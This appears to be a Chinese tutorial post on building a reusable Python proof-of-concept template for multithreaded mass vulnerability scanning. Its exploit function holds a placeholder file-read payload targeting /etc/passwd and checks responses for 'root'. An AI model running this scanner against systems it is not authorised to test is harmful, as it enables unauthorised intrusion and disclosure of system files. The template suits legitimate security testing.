0x00 前言

平时工作中 需要编写poc
而poc 大多步骤是重复的
比如用户输入 等
因此写一套模板 直接套用即可
根据开普勒安全python教学视频学习编写

0x01 模板编写

1.1 引入库

import sys
import getopt
import requests
import threading
import time
import os
import datetime
import  urllib3
from colorama import init, Fore  # 修改命令行中颜色的库
#禁用https安全请求警告    以防网站https证书不合规 关闭警告
#urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning)
urllib3.disable_warnings()
#关闭自动恢复默认颜色
init(autoreset=False)


lock = threading.Lock() # 锁
global result_file_path  # 结果文件路径
global proxies_judge   # 代理是否开启的判断
loop_name = ''  # 漏洞名称

1.2 help() 模块

def help():
    '''
        帮助文档
    '''
    print('''
    -h  --help              帮助文档
    -u  --url               目标url
    -f  --target_file       目标地址文件
    -r  --result_file       输出的信息文件地址(默认为result.txt)
    -t  --thread_num        多线程数量(默认50)
    -p  --proxies           是否开启代理,默认不开启,输入则开启 --一般用于burp抓包测试
eg:
    python poc模板.py -u http://www.xxx.com
    python poc模板.py -u http://www.xxx.com  -p http://127.0.0.1:8080
    python poc模板.py -f target.txt
    python poc模板.py -f target.txt -r result.txt
    python poc模板.py -f target.txt -r result.txt -t 100
    ''')

1.3 poc_head() 模块

def poc_head():
    print("""

             ____   __    ___    ____  ____  _  _  ____  __     __  ____  ____
        (  _ \ /  \  / __)  (_  _)(  __)( \/ )(  _ \(  )   / _\(_  _)(  __)
         ) __/(  O )( (__     )(   ) _) / \/ \ ) __// (_/\/    \ )(   ) _)
        (__)   \__/  \___)   (__) (____)\_)(_/(__)  \____/\_/\_/(__) (____)
                                                    author:   youthbelief
                                                    漏洞名称:   {}
    """.format(loop_name))

1.4 检测模块exploit(url)

def exploit(url):
    '''
        poc函数
        poc代码放在这里,这个函数的内容随便修改
        可以使用接口output_to_file 将信息输出到文件中
        可以使用接口output将信息显示在命令行中(当print用就行)
            output需要2个参数,一个为显示的信息即msg,一个为信息的类型(int 0 1 2 3)
                0   普通的信息                 白色
                1   攻击成功的信息             绿色
                2   攻击失败的信息             黄色
                3   出现错误的信息             红色
    '''
    global proxies_judge
    proxies = {
    "http":'http://127.0.0.1:8080',
    "https":'http://127.0.0.1:8080'
    }
    head = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1108.50'
            }
    # 修改payload
    payload = "/xxx?=/etc/passwd"
    # 如果为post 请求 添加data 请求体
    data = ''
    exp = url + payload
    try:
        if proxies_judge:
            re = requests.get(exp,verify=False,timeout=5,proxies=proxies)
        else:
            re = requests.get(exp,verify=False,timeout=5)
        # 判断漏洞是否存在 根据实际漏洞情况 修改
        if re.status_code == 200 and 'root' in re.text:
            msg = "存在任意文件读取漏洞 "+exp
            judge = 1
            output_to_file(msg)
        else:
            msg = '不存在任意文件读取漏洞'+ url
            judge = 2
    except:
        msg = 'error!目标路径无法访问'
        judge = 3
    output(msg,judge)

1.5 main() 模块整个poc运行流程

整个执行流程

def main():
    poc_head()
    global proxies_judge
    global result_file_path
    result_file_path = 'result.txt' #扫描结果默认保存到result.txt
    target_num = 50 # 默认线程数为50
    target_file_path = '' # 目标文件为空 需要手动输入
    url = '' # url为空手动输入
    msg = []  # 列表 用于存放 url
    proxies_judge = False # 是否开启代理 默认为 否
    try:
        opts,args = getopt.getopt(sys.argv[1:],
                                  'hu:f:r:t:p:',
                                  ['help','url=','target_file=','result_file=','thread_num=','proxies='])
    except getopt.GetoptError as err:
        print(str(err))
        help()

    #从opts中读取数据,o 为参数,a为参数后带的值
    for o,a in opts:
        if o in ['-h','--help']:
            help()
        elif o in ['-u','--url']:
            url = a
        elif o in ['-f','--target_file']:
            target_file_path = a
            try:
                f = open(target_file_path,'r')
                msg = f.read().split('\n')   #read的结果为字符串  split以\n 分隔开 返回为列表
            except:
                output('目标文件路径错误!' , 3)
        elif o in ['-r','--result_file']:
            target_file_path = a
        elif o in ['-t','--thread_num']:
            target_num = int(a)
        elif o in ['-p','--proxies']:
            proxies_judge = True

        # 定义i=0  i代表 检测次数 初始为0 后续用来判断所有目标是否扫描完毕
        i = 0
        # 如果 url的值为空 并且 len(msg) 不等于0 说明 我们输入的是-f 参数 进入 多线程循环
        if url == '' and len(msg) != 0:
            while(True):
                # 如果运行的子线程< 最大线程数 并且 检测次数 < 目标数 说明 还没有检测完 可以创建新的线程 继续检测第i+1个目标
                if threading.active_count()-1 < target_num and i < len(msg):
                    t = threading.Thread(target=exploit,args=(msg[i],))
                    t.start()
                    i+=1
                    output_msg = '第'+str(i)+'个目标开始检查,还有'+str(len(msg)-i)+'个目标待检查!'
                    output(output_msg)
                # 如果 检测次数 ≥ 目标数 并且 运行的子线程数还不为0 说明所有目标都已经开始检测了 但是还有几个线程的目标没有检测完!
                if i >= len(msg) and  threading.active_count()-1 > 0:
                    output('正在检测最后'+str(threading.active_count()-1)+'个目标, 请稍等...')
                    time.sleep(5)
                # 如果 检测次数 >= 目标数 并且运行的子线程数为0 说明 所有线程的检测目标任务完成 跳出死循环
                if i >= len(msg) and threading.active_count()-1 == 0:
                    f = open(result_file_path,'r')
                    num = len(f.readlines())
                    f.close()
                    output('finish!共扫描'+str(len(msg))+'个网站,发现漏洞'+str(num)+'个!')
                    #修改结果后缀 有n个url存在漏洞 末尾就添加n  没必要的功能
                    #os.rename(result_file_path,result_file_path+str(num))
                    break


        # 如果url的值补位空 并且 len(msg) 等于0 说明我们输入了 -u参数 只用扫描一次 不用进入多线程循环  直接扫描即可
        elif url != '' and len(msg) == 0:
            exploit(url)

1.6 output_to_file(msg) 模块

输出到文件的功能

def output_to_file(msg):
    '''
        输出到文件
    '''
    global result_file_path
    f = open(result_file_path,'a')
    f.write(msg+'\n')
    f.close()

1.7 output(msg,judge=0) 模块

exlpoit() 中使用该方法

输出到命令行定义的方法

根据 judge 值判断 该输出什么颜色 默认为0 普通信息

def output(msg,judge=0):
    '''
        输出到命令行
        在多线程的情况下,输出可能会混了,这里加了个锁来保证输出结果的稳定,但会略微影响扫描效率
        如果不想要锁,追求极致的速率(mac下不加锁也不会乱  原因目前未知)
            请删除
                lock.acquire()
                try:
                finally:
                lock.release()
            4行代码
    '''
    lock.acquire()
    try:
        now_time = datetime.datetime.now().strftime('%H:%M:%S')
        now_time = Fore.LIGHTCYAN_EX + '['+now_time+'] ' + Fore.RESET
        if judge == 0:
            print(now_time + msg )
        elif judge == 1: #输出成功信息
            print(now_time + Fore.LIGHTGREEN_EX + '[+]' + msg + Fore.RESET)
        elif judge == 2 : #输出失败信息
            print(now_time + Fore.LIGHTYELLOW_EX + '[-]' + msg + Fore.RESET)
        elif judge  == 3 : #输出错误信息
            print(now_time + Fore.LIGHTRED_EX + '[-]' + msg + Fore.RESET)
    finally:
        lock.release()

0x02 完整代码

# -*- coding: utf-8 -*
# *python3*
# *author : youthbelief

# 漏洞类型:
# 漏洞编号
# poc作者
# 影响应用
# 影响版本
# 漏洞类型
# 漏洞概述:
# fofa查询:

import sys
import getopt
import requests
import threading
import time
import os
import datetime
import  urllib3
from colorama import init, Fore  # 修改命令行中颜色的库
#禁用https安全请求警告    以防网站https证书不合规 关闭警告
#urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning)
urllib3.disable_warnings()
#关闭自动恢复默认颜色
init(autoreset=False)

lock = threading.Lock() # 锁
global result_file_path  # 结果文件路径
global proxies_judge   # 代理是否开启的判断
loop_name = ''  # 漏洞名称

def help():
    '''
        帮助文档
    '''
    print('''
    -h  --help              帮助文档
    -u  --url               目标url
    -f  --target_file       目标地址文件
    -r  --result_file       输出的信息文件地址(默认为result.txt)
    -t  --thread_num        多线程数量(默认50)
    -p  --proxies           是否开启代理,默认不开启,输入则开启 --一般用于burp抓包测试
eg:
    python poc模板.py -u http://www.xxx.com
    python poc模板.py -u http://www.xxx.com  -p http://127.0.0.1:8080
    python poc模板.py -f target.txt
    python poc模板.py -f target.txt -r result.txt
    python poc模板.py -f target.txt -r result.txt -t 100
    ''')

def poc_head():
    print("""

             ____   __    ___    ____  ____  _  _  ____  __     __  ____  ____
        (  _ \ /  \  / __)  (_  _)(  __)( \/ )(  _ \(  )   / _\(_  _)(  __)
         ) __/(  O )( (__     )(   ) _) / \/ \ ) __// (_/\/    \ )(   ) _)
        (__)   \__/  \___)   (__) (____)\_)(_/(__)  \____/\_/\_/(__) (____)
                                                    author:   youthbelief
                                                    漏洞名称:   {}
    """.format(loop_name))
def exploit(url):
    '''
        poc函数
        poc代码放在这里,这个函数的内容随便修改
        可以使用接口output_to_file 将信息输出到文件中
        可以使用接口output将信息显示在命令行中(当print用就行)
            output需要2个参数,一个为显示的信息即msg,一个为信息的类型(int 0 1 2 3)
                0   普通的信息                 白色
                1   攻击成功的信息             绿色
                2   攻击失败的信息             黄色
                3   出现错误的信息             红色
    '''
    global proxies_judge
    proxies = {
    "http":'http://127.0.0.1:8080',
    "https":'http://127.0.0.1:8080'
    }
    head = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1108.50'
            }
    # 修改payload
    payload = "/xxx?=/etc/passwd"
    # 如果为post 请求 添加data 请求体
    data = ''
    exp = url + payload
    try:
        if proxies_judge:
            re = requests.get(exp,verify=False,timeout=5,proxies=proxies)
        else:
            re = requests.get(exp,verify=False,timeout=5)
        # 判断漏洞是否存在 根据实际漏洞情况 修改
        if re.status_code == 200 and 'root' in re.text:
            msg = "存在任意文件读取漏洞 "+exp
            judge = 1
            output_to_file(msg)
        else:
            msg = '不存在任意文件读取漏洞'+ url
            judge = 2
    except:
        msg = 'error!目标路径无法访问'
        judge = 3
    output(msg,judge)

def output_to_file(msg):
    '''
        输出到文件
    '''
    global result_file_path
    f = open(result_file_path,'a')
    f.write(msg+'\n')
    f.close()

def output(msg,judge=0):
    '''
        输出到命令行
        在多线程的情况下,输出可能会混了,这里加了个锁来保证输出结果的稳定,但会略微影响扫描效率
        如果不想要锁,追求极致的速率(mac下不加锁也不会乱  原因目前未知)
            请删除
                lock.acquire()
                try:
                finally:
                lock.release()
            4行代码
    '''
    lock.acquire()
    try:
        now_time = datetime.datetime.now().strftime('%H:%M:%S')
        now_time = Fore.LIGHTCYAN_EX + '['+now_time+'] ' + Fore.RESET
        if judge == 0:
            print(now_time + msg )
        elif judge == 1: #输出成功信息
            print(now_time + Fore.LIGHTGREEN_EX + '[+]' + msg + Fore.RESET)
        elif judge == 2 : #输出失败信息
            print(now_time + Fore.LIGHTYELLOW_EX + '[-]' + msg + Fore.RESET)
        elif judge  == 3 : #输出错误信息
            print(now_time + Fore.LIGHTRED_EX + '[-]' + msg + Fore.RESET)
    finally:
        lock.release()

def main():
    poc_head()
    global proxies_judge
    global result_file_path
    result_file_path = 'result.txt' #扫描结果默认保存到result.txt
    target_num = 50 # 默认线程数为50
    target_file_path = '' # 目标文件为空 需要手动输入
    url = '' # url为空手动输入
    msg = []  # 列表 用于存放 url
    proxies_judge = False # 是否开启代理 默认为 否
    try:
        opts,args = getopt.getopt(sys.argv[1:],
                                  'hu:f:r:t:p:',
                                  ['help','url=','target_file=','result_file=','thread_num=','proxies='])
    except getopt.GetoptError as err:
        print(str(err))
        help()

    #从opts中读取数据,o 为参数,a为参数后带的值
    for o,a in opts:
        if o in ['-h','--help']:
            help()
        elif o in ['-u','--url']:
            url = a
        elif o in ['-f','--target_file']:
            target_file_path = a
            try:
                f = open(target_file_path,'r')
                msg = f.read().split('\n')   #read的结果为字符串  split以\n 分隔开 返回为列表
            except:
                output('目标文件路径错误!' , 3)
        elif o in ['-r','--result_file']:
            target_file_path = a
        elif o in ['-t','--thread_num']:
            target_num = int(a)
        elif o in ['-p','--proxies']:
            proxies_judge = True

        # 定义i=0  i代表 检测次数 初始为0 后续用来判断所有目标是否扫描完毕
        i = 0
        # 如果 url的值为空 并且 len(msg) 不等于0 说明 我们输入的是-f 参数 进入 多线程循环
        if url == '' and len(msg) != 0:
            while(True):
                # 如果运行的子线程< 最大线程数 并且 检测次数 < 目标数 说明 还没有检测完 可以创建新的线程 继续检测第i+1个目标
                if threading.active_count()-1 < target_num and i < len(msg):
                    t = threading.Thread(target=exploit,args=(msg[i],))
                    t.start()
                    i+=1
                    output_msg = '第'+str(i)+'个目标开始检查,还有'+str(len(msg)-i)+'个目标待检查!'
                    output(output_msg)
                # 如果 检测次数 ≥ 目标数 并且 运行的子线程数还不为0 说明所有目标都已经开始检测了 但是还有几个线程的目标没有检测完!
                if i >= len(msg) and  threading.active_count()-1 > 0:
                    output('正在检测最后'+str(threading.active_count()-1)+'个目标, 请稍等...')
                    time.sleep(5)
                # 如果 检测次数 >= 目标数 并且运行的子线程数为0 说明 所有线程的检测目标任务完成 跳出死循环
                if i >= len(msg) and threading.active_count()-1 == 0:
                    f = open(result_file_path,'r')
                    num = len(f.readlines())
                    f.close()
                    output('finish!共扫描'+str(len(msg))+'个网站,发现漏洞'+str(num)+'个!')
                    #修改结果后缀 有n个url存在漏洞 末尾就添加n  没必要的功能
                    #os.rename(result_file_path,result_file_path+str(num))
                    break


        # 如果url的值补位空 并且 len(msg) 等于0 说明我们输入了 -u参数 只用扫描一次 不用进入多线程循环  直接扫描即可
        elif url != '' and len(msg) == 0:
            exploit(url)
if __name__ == '__main__':
    main()

0x03 运行演示

python app模版 python模板_python